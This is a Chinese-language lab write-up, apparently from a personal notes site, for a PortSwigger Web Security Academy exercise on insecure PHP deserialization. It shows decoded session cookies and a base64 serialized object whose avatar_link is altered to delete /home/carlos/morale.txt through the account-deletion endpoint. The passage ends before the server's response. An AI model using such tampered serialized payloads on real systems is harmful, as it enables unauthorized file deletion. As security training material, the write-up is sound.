> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/exploiting-application-functionality.md).
# 通过应用程序功能进行利用
通过应用程序功能进行利用，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 使用应用功能来利用不安全的反序列化
本实验使用一种基于 **序列化**. / 应用程序功能调用了一个 **危险方法** 来自用户可控的序列化对象中包含的数据。
修改会话 cookie 中的序列化对象，以导致 **`morale.txt`** 文件从个人目录中被删除 **Carlos**.
**可用账户**
* 主用户账户： `wiener:peter`
* 紧急账户： `gregg:rosebud`
**会话 cookie 分析**
认证后，会话存储在一个 cookie 中，其中包含一个类型为 `用户`.
**Wiener 的 cookie（解码后）**:
{% code overflow="wrap" %}
```json
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ftqcpwp5pletd4pz6qoblbohxt2by9zk";s:11:"avatar_link";s:19:"users/wiener/avatar";}
```
{% endcode %}
**Gregg 的 cookie（解码后）**:
{% code overflow="wrap" %}
```json
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:18:"users/gregg/avatar";}
```
{% endcode %}
可以注意到 **`avatar_link`** 该属性在某些操作中被应用程序使用。
**可操作功能**
当用户点击 **删除账户**，会发送请求到：
```http
/my-account/delete
```
此功能处理 `avatar_link` 的值，并在未进行充分验证的情况下，对该字段指向的文件触发操作。
{% code overflow="wrap" %}
```json
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
```
{% endcode %}
**利用**
思路是 **将 `avatar_link`** 的值替换为指向要删除文件的任意路径。
**修改后的序列化内容**:
```
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6Inh3dGMxcXBmeTJoNjJlOHhlb2tvbnd1ZzZ6cGY2ZnhxIjtzOjExOiJhdmF0YXJfbGluayI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30=
```
向 `/my-account/delete`，服务器响应：
---
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